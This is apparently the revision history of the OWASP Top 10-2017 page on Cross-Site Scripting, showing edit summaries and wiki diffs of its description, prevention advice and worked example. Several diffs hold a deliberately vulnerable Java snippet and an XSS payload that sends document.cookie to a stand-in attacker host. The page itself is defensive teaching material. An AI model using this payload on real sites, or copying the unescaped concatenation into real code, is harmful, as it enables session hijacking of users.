Top 10-2017 A7-Cross-Site Scripting (XSS) - Revision history

T.Gigler: Editorial changes e.g. line feeds, added and fixed a link

2018-01-01T16:49:28Z

Editorial changes e.g. line feeds, added and fixed a link

T.Gigler: Prepare OWASP Top 10-2017 Release (Content)

2017-12-14T23:26:29Z

Prepare OWASP Top 10-2017 Release (Content)

Show changes

T.Gigler: Updated Navigation (incl PrevLink and NextLink) fixed

2017-12-12T00:26:32Z

Updated Navigation (incl PrevLink and NextLink) fixed

T.Gigler: T.Gigler moved page Top 10 2017-A3-Cross-Site Scripting (XSS) to Top 10-2017 A7-Cross-Site Scripting (XSS): OWASP Top 10-2017 Release

2017-12-11T22:38:57Z

T.Gigler moved page Top 10 2017-A3-Cross-Site Scripting (XSS) to Top 10-2017 A7-Cross-Site Scripting (XSS): OWASP Top 10-2017 Release

Wichers: We are reverting these edits, so it matches the Release Candidate. However, we have captured these suggested changes and will consider them as part of the next update to the 2017 Top 10 Release Candidate.

2017-06-09T16:09:52Z

We are reverting these edits, so it matches the Release Candidate. However, we have captured these suggested changes and will consider them as part of the next update to the 2017 Top 10 Release Candidate.

Eelgheez: Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.

2017-06-01T13:53:29Z

Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.

Eelgheez: Clarify introduction.

2017-05-31T19:54:18Z

Clarify introduction.

Eelgheez: Clarify automation challenges.

2017-05-31T19:31:15Z

Clarify automation challenges.

Eelgheez: Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.

2017-05-31T19:18:36Z

Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.

Eelgheez: Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.

2017-05-31T19:13:18Z

Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.

@@ Line 24: / Line 24: @@
      <td colspan=2  {{Template:Top_10_2010:SummaryTableRowStyleTemplate|year=2017}}>
 <!--- Security Weakness: --->
-  XSS is the second most prevalent issue in the OWASP Top 10, and is found in around two thirds of all applications. Automated tools can find some XSS problems automatically, particularly in mature technologies such as PHP, J2EE / JSP, and ASP.NET. </td>
+  XSS is the second most prevalent issue in the OWASP Top 10, and is found in around two thirds of all applications.<br/>Automated tools can find some XSS problems automatically, particularly in mature technologies such as PHP, J2EE / JSP, and ASP.NET. </td>
      <td colspan=2  {{Template:Top_10_2010:SummaryTableRowStyleTemplate|year=2017}}>
 <!--- Impacts: --->
@@ Line 41: / Line 41: @@
 Preventing XSS requires separation of untrusted data from active browser content. This can be achieved by:
 * Using frameworks that automatically escape XSS by design, such as the latest Ruby on Rails, React JS. Learn the limitations of each framework's XSS protection and appropriately handle the use cases which are not covered.
-* Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Reflected and Stored XSS vulnerabilities. The <u>[[XSS_(Cross_Site_Scripting|OWASP  Cheat Sheet 'XSS Prevention']]</u>_Prevention_Cheat_Sheet) has details on the required data escaping techniques.
+* Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Reflected and Stored XSS vulnerabilities. The <u>[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP Cheat Sheet 'XSS Prevention']]</u> has details on the required data escaping techniques.
-* Applying context-sensitive encoding when modifying the browser document on the client side acts against DOM XSS. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the OWASP Cheat Sheet 'DOM based XSS Prevention'.
+* Applying context-sensitive encoding when modifying the browser document on the client side acts against DOM XSS. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the <u>[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP Cheat Sheet 'DOM based XSS Prevention']].
 * Enabling a <u>[https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP Content Security Policy (CSP)]</u> as a defense-in-depth mitigating control against XSS. It is effective if no other vulnerabilities exist that would allow placing malicious code via local file includes (e.g. path traversal overwrites or vulnerable libraries from permitted content delivery networks).

@@ Line 1: / Line 1: @@
 {{Top_10_2013:TopTemplate
-     |usenext=2013NextLink
+     |usenext=2017NextLink
-     |next=A4-{{Top_10_2010:ByTheNumbers
+     |next=A8-{{Top_10_2010:ByTheNumbers
-               |4
+               |8
                |year=2017
                |language=en}}
-     |useprev=2013PrevLink
+     |useprev=2017PrevLink
-     |prev=A2-{{Top_10_2010:ByTheNumbers
+     |prev=A6-{{Top_10_2010:ByTheNumbers
-               |2
+               |6
                |year=2017
                |language=en}}
@@ Line 82: / Line 82: @@
 {{Top_10_2013:BottomAdvancedTemplate
      |type={{Top_10_2010:StyleTemplate}}
-     |usenext=2013NextLink
+     |usenext=2017NextLink
-     |next=A4-{{Top_10_2010:ByTheNumbers
+     |next=A8-{{Top_10_2010:ByTheNumbers
-               |4
+               |8
                |year=2017
                |language=en}}
-     |useprev=2013PrevLink
+     |useprev=2017PrevLink
-     |prev=A2-{{Top_10_2010:ByTheNumbers
+     |prev=A6-{{Top_10_2010:ByTheNumbers
-               |2
+               |6
                |year=2017
                |language=en}}

@@ Line 38: / Line 38: @@
 {{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}
-An application has a Cross-Site Scripting vulnerability if it fails to encode output of user data according to its context in HTML, resulting in crossing the boundary with the scripts sent to the browser.  In addition, a vulnerable application could fail to white-list potentially malicious data sources such as <code>window.name</code>, <code>document.referer</code> before passing them to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]] such as <code>window.eval()</code>, <code>window.setTimeout()</code>, <code>document.write()</code>, <code>new Function()</code>.
+You are vulnerable to <u>[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]</u> if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have <u>[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]</u>. Ideally, you would avoid sending attacker-controllable data to <u>[[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]]</u>, but escaping (and to a lesser extent) input validation can be used to make this safe.
-Automated tools can find some XSS vulnerabilities and miss others. Besides, each application builds output pages differently and relies on different browser side interpreters such as JavaScript, ActiveX, Flash, Silverlight.  The scripts sent to the browser may rely on additional script libraries.  Single-page applications may process input on the client side and generate requests to the server independently from user actions.  This diversity makes discovering all possible HTTP requests difficult.  Test tools may improve the coverage by connecting to a browser that would execute scripts generated by the application and by sending operating system level or browser level input events to the browser.  Static and "interactive" analysis may help uncover additional XSS vulnerabilities whose exposure to automated queries depends on a sequence of HTTP requests.
+Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.
 {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}
 Preventing XSS requires separation of untrusted data from active browser content.
-# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve <u>[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]</u> vulnerabilities. The <u>[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]]</u> has details on the required data escaping techniques.
+# To avoid <u>[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]</u>, the preferred option is to properly escape untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the <u>[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]]</u> for details on the required data escaping techniques.
-# Applying context sensitive encoding when modifying the browser document on the client side acts against <u>[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]</u>.  Details specific to client-side input processing reside in <u>[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]]</u>.
+# To avoid <u>[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]</u>, the preferred option is to avoid passing untrusted data to JavaScript and other browser APIs that can generate active content. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the <u>[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]]</u>.
-# Enabling a <u>[https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)]</u> and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.
+# For rich content, consider auto-sanitization libraries like OWASP’s <u>[[AntiSamy]]</u> or the <u>[[OWASP Java HTML Sanitizer Project|Java HTML Sanitizer Project]]</u>.
 {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}
-The application generating response in <code><nowiki>https://target.test/dashboard</nowiki></code> uses untrusted data in the construction of the following HTML snippet without validation or escaping:
+The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
-{{Top_10_2010:ExampleBeginTemplate|year=2017}}<b>
+{{Top_10_2010:ExampleBeginTemplate|year=2017}}<b><span style="color:red;">
-(String) page += "<input name='creditcard' type='TEXT' value='" + <span style="color:red;">request.getParameter("CC")</span> + "'>";
+(String) page += "<input name='creditcard' type='TEXT'<br>value='" + request.getParameter("CC") + "'>";
-</b>{{Top_10_2010:ExampleEndTemplate}}
+</span></b>{{Top_10_2010:ExampleEndTemplate}}
-The attacker manipulates the `CC' parameter to the following value
+The attacker modifies the ‘CC’ parameter in his browser to:
 {{Top_10_2010:ExampleBeginTemplate|year=2017}}<b><span style="color:red;">
-&#x27;&gt;&lt;script&gt;document.location=&#x27;<nowiki>http://attacker.test/log?</nowiki>cookies=&#x27;+encodeURIComponent(document.cookie)&lt;/script&gt;&lt;foobar p=&#x27;
+'><script>document.location=<br/>'<nowiki>h</nowiki>ttp://www.attacker.com/cgi-bin/cookie.cgi?<br/>foo='+document.cookie</script>'.
 </span></b>{{Top_10_2010:ExampleEndTemplate}}
 This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

@@ Line 57: / Line 57: @@
 {{Top_10_2010:ExampleBeginTemplate|year=2017}}<b><span style="color:red;">
-&#x27;&gt;&lt;script&gt;document.location=&#x27;<nowiki>http://www.attacker.com/log?</nowiki>cookies=&#x27;+encodeURIComponent(document.cookie)&lt;/script&gt;&lt;foobar p=&#x27;
+&#x27;&gt;&lt;script&gt;document.location=&#x27;<nowiki>http://attacker.test/log?</nowiki>cookies=&#x27;+encodeURIComponent(document.cookie)&lt;/script&gt;&lt;foobar p=&#x27;
 </span></b>{{Top_10_2010:ExampleEndTemplate}}
@@ Line 63: / Line 63: @@
 {{Top_10_2010:ExampleBeginTemplate|year=2017}}
-<b>&lt;input name='creditcard' type='TEXT' value='<span style="color:red;">'&gt;&lt;script&gt;document.location=&#x27;<nowiki>http://www.attacker.com/log?</nowiki>cookies=&#x27;+encodeURIComponent(document.cookie)&lt;/script>&lt;foobar p=&#x27;</span>&#x27;&gt;</b>
+<b>&lt;input name='creditcard' type='TEXT' value='<span style="color:red;">'&gt;&lt;script&gt;document.location=&#x27;<nowiki>http://attacker.test/log?</nowiki>cookies=&#x27;+encodeURIComponent(document.cookie)&lt;/script>&lt;foobar p=&#x27;</span>&#x27;&gt;</b>
 {{Top_10_2010:ExampleEndTemplate}}

@@ Line 38: / Line 38: @@
 {{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}
-You are vulnerable to <u>[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]</u> if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have <u>[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]</u>. Ideally, you would avoid sending attacker-controllable data to <u>[[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]]</u>, but escaping (and to a lesser extent) input validation can be used to make this safe.
+An application has a Cross-Site Scripting vulnerability if it fails to encode output of user data according to its context in HTML, resulting in crossing the boundary with the scripts sent to the browser.  In addition, a vulnerable application could fail to white-list potentially malicious data sources such as <code>window.name</code>, <code>document.referer</code> before passing them to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]] such as <code>window.eval()</code>, <code>window.setTimeout()</code>, <code>document.write()</code>, <code>new Function()</code>.
 Automated tools can find some XSS vulnerabilities and miss others. Besides, each application builds output pages differently and relies on different browser side interpreters such as JavaScript, ActiveX, Flash, Silverlight.  The scripts sent to the browser may rely on additional script libraries.  Single-page applications may process input on the client side and generate requests to the server independently from user actions.  This diversity makes discovering all possible HTTP requests difficult.  Test tools may improve the coverage by connecting to a browser that would execute scripts generated by the application and by sending operating system level or browser level input events to the browser.  Static and "interactive" analysis may help uncover additional XSS vulnerabilities whose exposure to automated queries depends on a sequence of HTTP requests.

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